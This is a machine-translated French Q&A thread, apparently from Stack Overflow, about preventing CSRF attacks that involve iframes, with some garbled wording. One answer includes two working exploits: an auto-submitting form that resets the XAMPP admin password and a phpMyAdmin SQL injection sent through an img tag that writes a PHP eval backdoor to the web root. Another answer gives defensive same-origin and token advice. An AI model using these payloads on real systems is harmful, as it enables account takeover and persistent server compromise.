Comment prévenir les attaques CSRF/XSRF impliquant des iframes intégrés?

Existe-t-il un moyen de restreindre ce qu'un iframe est autorisé à faire dans le parent? Ce que je cherche est un Javascript modèle de sécurité entourant qui ressemble à:Comment prévenir les attaques CSRF/XSRF impliquant des iframes intégrés?

... 
<script type="text/javascript" src="jquery-1.3.2.min.js"></script> 
<script type="text/javascript"> 
function AllowedToAccess() 
{ 
} 

function NotAllowedToAccess() 
{ 
} 
</script> 
<security> 
iframe { 
    Deny All; 
    Allow javascript:AllowedToAccess(); 
} 

iframe script.untrusted { 
    Deny All; 
} 
</security> 
<iframe src="trusted.html"></iframe> 
<iframe src="http://www.somesite.com/trusted.html"></iframe> 
...

« apparence de trusted.html comme:

<html><body> 
<script type="text/javascript"> 
function InternalCall() 
{ 
    window.parent.AllowedToAccess(); 
} 

function InternalCall2() 
{ 
    window.parent.NotAllowedToAccess(); 
} 
</script> 
<security> 
javascript:window.parent { 
    Allow javascript:document.body.offsetHeight; 
    Allow javascript:document.title; 
} 

script.untrusted { 
    Deny All; 
} 
</security> 
<script type="text/javascript"> 
window.parent.AllowedToAccess(); 
InternalCall(); 
</script> 
<script type="text/javascript" src="http://www.anothersite.com/untrusted.js" secclass="untrusted"></script> 
<script type="text/javascript"> 
window.parent.NotAllowedToAccess(); 
InternalCall2(); 
window.parent.jQuery(window.parent.body).append('<div id="badid"></div>'); 
window.parent.jQuery('#badid').load('SomethingIShouldnt.php'); 
</script> 
</body> 
</html>

et 'deux regards SomethingIShouldnt.php' comme:

NotAllowedToAccess();

Et 'untrusted.js' ressemble à:

window.parent.AllowedToAccess(); 
InternalCall(); 
window.parent.NotAllowedToAccess(); 
InternalCall2(); 
window.parent.jQuery(body).append('<div id="badid"></div>'); 
window.parent.jQuery('#badid').load('SomethingIShouldn't.php');

(Euh ... désolé d'aller trop loin.)

Vous remarquerez la balise 'security' inexistante dans le code HTML. Je pensais à quelque chose dans le genre des déclarations CSS selector-ish avec une syntaxe de sécurité semblable à Apache mélangée pour définir des règles. (Je n'ai pas utilisé les règles window.parent, mais j'espère que les navigateurs qui bloquent les scripts inter-sites ont une solution de contournement décente, ce qui est assez frustrant - "Je fais confiance à la fenêtre parent pour accéder uniquement à la hauteur de ma fenêtre le titre"). J'espère que quelque chose comme ceci existe déjà sous une certaine forme (même une ébauche spec). Mais j'ai peur que la réponse soit "non".

Cela peut-il être fait (même partiellement)? Si non, alors à qui dois-je parler pour que quelque chose de ce genre soit implémenté (Comité de normalisation ou implémenteurs de navigateurs)? En supposant, bien sûr, cela a même un sens?

Source

2010-01-26 Cookie Monster

L'écriture d'exploits est le seul moyen de prouver qu'un système de sécurité est protégé contre les attaques. Un système de sécurité est dangereux jusqu'à ce qu'il a été prouvé pour vous assurer la sécurité. – rook

La réponse courte est non, XSRF n'a rien à voir avec les iframes.

Cela n'a pas d'importance si la requête falsifiée provient d'un iframe. La demande falsifiée doit provenir d'un autre serveur pour qu'un attaquant puisse l'exploiter. Hackers utilisateurs iframes parce qu'ils peuvent être utiles pour forger des demandes de publication dans un exploit XSRF parce que l'exploit doit utiliser javascript pour soumettre automatiquement un forum. Voici un exploit XSRF réel que j'ai écrit contre XAMPP qui modifie le mot de passe administratif. Il est préférable d'exécuter ce javascript/html dans un iframe afin qu'il soit invisible pour la victime, mais cet exploit pourrait simplement rediriger toute la fenêtre sans iframe et cela changera le mot de passe de l'administrateur.

<html> 
<form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1> 
      <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1"> 
    <input type=hidden name="xamppuser" value=admin > 
    <input type=hidden name="xampppasswd" value=password> 
    <input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory"> 
    <input type=submit> 
</form> 
</html> 
<script> 
document.getElementById(1).submit(); 
</script>

Mais si l'attaque est XSRF GET basée, alors un iframe ne permet pas un attaquant. Il est préférable d'utiliser une balise img pour envoyer automatiquement la requête falsifiée sur le navigateur des victimes. Voici un autre de mes exploits qui a été écrit pour phpMyAdmin 3.1.0. Cela télécharge une porte dérobée php dans la racine web. Cet exploit est génial car il fonctionne avec noscript activé et affecte une tonne de systèmes.

<html> 
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1"> 
</html>

Source

2010-01-26 04:39:39 rook

Les exploits ne sont JAMAIS "géniaux". Ils perdent du temps pour tout le monde. Je suis plus intéressé par mon scénario qui, au meilleur de ma connaissance, se qualifie comme CSRF (supposons que la fenêtre parent a quelqu'un qui consulte la page avec des privilèges d'administrateur sur le site de quelque sorte). J'ai effectué un test rapide de mon scénario et j'ai pu exécuter Javascript (y compris les appels AJAX) sans entrave au sein du parent avec des privilèges d'administrateur, même si le Javascript non fiable provenait d'un domaine complètement différent. "CSRF exploite la confiance qu'un site a dans le navigateur d'un utilisateur." Cela semble qualifier. –

Comment les pirates informatiques seront toujours magiques jusqu'à ce que vous maîtrisiez l'art de l'exploitation. – rook

Absolument faux. –

Vous pouvez utiliser la règle de la même origine (SOP) à votre avantage.

Définissez iframe src sur un port, un sous-domaine ou un domaine différent et l'iframe ne pourra pas accéder au contenu parent.

-à-dire: pour la page

http://www.mydomain.com/mypage.html

et pour l'iframe, une des façons suivantes

http://www.mydomain.com:4255/iframeSrc.html 
http://secure.mydomain.com/iframeSrc.html 
http://www.secure-mydomain.com/iframeSrc.html

Mais cela n'empêchera pas CSRF si vous comptez uniquement sur un cookie disponible dans votre page .
Si quelqu'un sait comment POSTER une requête sur votre serveur, il sera capable de le faire. La manière la plus simple d'empêcher cela est d'avoir dans votre page une variable javascript (inaccessible depuis l'iframe de la SOP) que vous transmettez pour chacune de vos requêtes. Quelque chose qui peut vous intéresser, et désolé pour le spam, comme je l'ai déjà posté aujourd'hui sur SO quelque chose à ce sujet, nous utilisons un iframe aux appels JSONP sandbox, mais pour permettre une communication de chaîne sécurisée entre eux.

Here is the description comment cela fonctionne, et il y a une page de démonstration pour le voir fonctionner.

Source

2010-01-26 11:02:16 Mic

Comment prévenir les attaques CSRF/XSRF impliquant des iframes intégrés?

Répondre

Questions connexes